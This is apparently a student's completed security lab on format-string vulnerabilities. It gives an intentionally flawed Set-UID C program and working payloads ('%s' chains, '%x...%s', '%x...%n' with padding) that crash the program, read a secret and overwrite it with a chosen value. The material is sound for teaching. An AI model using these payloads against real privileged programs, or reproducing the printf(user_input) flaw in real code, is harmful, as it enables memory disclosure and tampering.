Lab 2.4 Format String Vulnerability

Overview

The learning objective of this lab is for students to gain the first-hand experience on format-string vulnerability by putting what they have learned about the vulnerability from class into actions. The format-string vulnerability is caused by code like printf(user input), where the contents of variable of user input is provided by users. When this program is running with privileges (e.g., Set-UID program), this printf statement becomes dangerous, because it can lead to one of the following consequences: (1) crash the program, (2) read from an arbitrary memory place, and (3) modify the values of in an arbitrary memory place. The last consequence is very dangerous because it can allow users to modify internal variables of a privileged program, and thus change the behavior of the program.

In this lab, you will be given a program with a format-string vulnerability; your task is to develop a scheme to exploit the vulnerability. It uses Ubuntu VM created in Lab 2.1. Ubuntu 12.04 is recommended.

In the following program, you will be asked to provide an input, which will be saved in a buffer called user input. The program then prints out the buffer using printf. The program is a Set-UID program (the owner is root), i.e., it runs with the root privilege. Unfortunately, there is a format-string vulnerability in the way how the printf is called on the user inputs. We want to exploit this vulnerability and see how much damage we can achieve.

```
/* vul_prog.c */

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
   char user_input[100];
   int *secret;
   int int_input;
   int a, b, c, d; /* other variables, not used here.*/

   /* The secret value is stored on the heap */
   secret = (int *) malloc(2*sizeof(int));

   /* getting the secret */
   secret[0] = SECRET1; secret[1] = SECRET2;

   printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
   printf("The variable secret's value is 0x%8x (on heap)\n", secret);
   printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
   printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

   printf("Please enter a decimal integer\n");
   scanf("%d", &int_input);   /* getting an input from user */
   printf("Please enter a string\n");
   scanf("%s", user_input); /* getting a string from user */

   /* Vulnerable place */
```

```
    printf(user_input);
    printf("\n");

    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}
```

The program has two secret values stored in its memory, and you are interested in these secret values. However, the secret values are unknown to you, nor can you find them from reading the binary code (for the sake of simplicity, we hardcode the secrets using constants 0x44 and 0x55). Although you do not know the secret values, in practice, it is not so difficult to find out the memory address (the range or the exact value) of them (they are in consecutive addresses), because for many operating systems, the addresses are exactly the same anytime you run the program. In this lab, we just assume that you have already known the exact addresses. To achieve this, the program "intentionally" prints out the addresses for you. With such knowledge, your goal is to achieve the followings (not necessarily at the same time):

- Crash the program named "vul_prog.c".
- Print out the secret[1] value.
- Modify the secret[1] value.
- Modify the secret[1] value to a pre-determined value.

Steps

1. Open the Terminal in Ubuntu.
2. To create the program named "vul_prog.c".

```c
/* vul_prog.c */

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/

  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
  printf("The variable secret's value is 0x%8x (on heap)\n", secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  /* Vulnerable place */
  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
  return 0;
}
```

3. Compile the program.

```
gcc -m32 vul_prog.c -o vul_prog
```

```
xx@ubuntu:~$ gcc -m32 vul_prog.c -o vul_prog
vul_prog.c: In function ‘main’:
vul_prog.c:14:20: warning: incompatible implicit declaration of built-in functio
n ‘malloc’ [enabled by default]
   secret = (int *) malloc(2*sizeof(int));
                    ^
vul_prog.c:19:3: warning: incompatible implicit declaration of built-in function
 ‘printf’ [enabled by default]
   printf("The variable secret's address is 0x%8x (on stack)\n", &secret);
   ^
vul_prog.c:19:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int **’ [-Wformat=]
vul_prog.c:20:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat=]
   printf("The variable secret's value is 0x%8x (on heap)\n", secret);
   ^
vul_prog.c:21:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat=]
   printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
   ^
vul_prog.c:22:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, b
ut argument 2 has type ‘int *’ [-Wformat=]
   printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);
   ^
vul_prog.c:25:3: warning: incompatible implicit declaration of built-in function
 ‘scanf’ [enabled by default]
   scanf("%d", &int_input);  /* getting an input from user */
   ^
vul_prog.c:30:3: warning: format not a string literal and no format arguments [-
Wformat-security]
   printf(user_input);
   ^
```

4. Run the program and enter proper content to finish the lab.
    1. Crash the program named "vul_prog.c".

       Input at least 3 `%s` to make the stack pop constantly and crash the program.

       ```
       xx@ubuntu:~$ ./vul_prog
       The variable secret's address is 0xffffd340 (on stack)
       The variable secret's value is 0x 804b008 (on heap)
       secret[0]'s address is 0x 804b008 (on heap)
       secret[1]'s address is 0x 804b00c (on heap)
       Please enter a decimal integer
       1
       Please enter a string
       %s%s%s
       Segmentation fault (core dumped)
       ```

    2. Print out the secret[1] value.

       Address of secret[1] is 0x804b00c=134524940.

       We can input an integer 3 and input a list of `%x` to see 3 is put in which arguments.

       ```
       xx@ubuntu:~$ ./vul_prog
       The variable secret's address is 0xffffd340 (on stack)
       The variable secret's value is 0x 804b008 (on heap)
       secret[0]'s address is 0x 804b008 (on heap)
       secret[1]'s address is 0x 804b00c (on heap)
       Please enter a decimal integer
       3
       Please enter a string
       %x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x
       ffffd348,2c0003f,ffffd454,804b008,3,252c7825,78252c78,2c78252c,252c7825,78252c78
       ,2c78252c,252c7825
       The original secrets: 0x44 -- 0x55
       The new secrets:      0x44 -- 0x55
       ```

       3 is put in the 5th argument, so we can input an integer of address of secret[1] and then input `%x%x%x%x,%s` to pop the first 4 string and the secret[1] value `U`.

```
xx@ubuntu:~$ ./vul_prog
The variable secret's address is 0xffffd340 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x%x%x%x,%s
ffffd3482c0003fffffd454804b008,U
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

3. Modify the secret[1] value.

```
xx@ubuntu:~$ ./vul_prog
The variable secret's address is 0xffffd340 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x%x%x%x,%n
ffffd3482c0003fffffd454804b008,
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x1f
```

   Like 2, first we input an integer of address of secret[1] and then input `%x%x%x%x,%n` to pop the first 4 string and modify the secret[1] value to `%n`, the output number of characters 0x1f=31.

4. Modify the secret[1] value to a pre-determined value.

   The first 4 `%x` occupies `30=0x1e`, so if we want to modify the secret[1] value to `38=0x26`, we can insert 8 characters between `%x` and `%n` such as `%x%x%x%x12345678%n`.

```
xx@ubuntu:~$ ./vul_prog
The variable secret's address is 0xffffd340 (on stack)
The variable secret's value is 0x 804b008 (on heap)
secret[0]'s address is 0x 804b008 (on heap)
secret[1]'s address is 0x 804b00c (on heap)
Please enter a decimal integer
134524940
Please enter a string
%x%x%x%x12345678%n
ffffd3482c0003fffffd454804b00812345678
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x26
```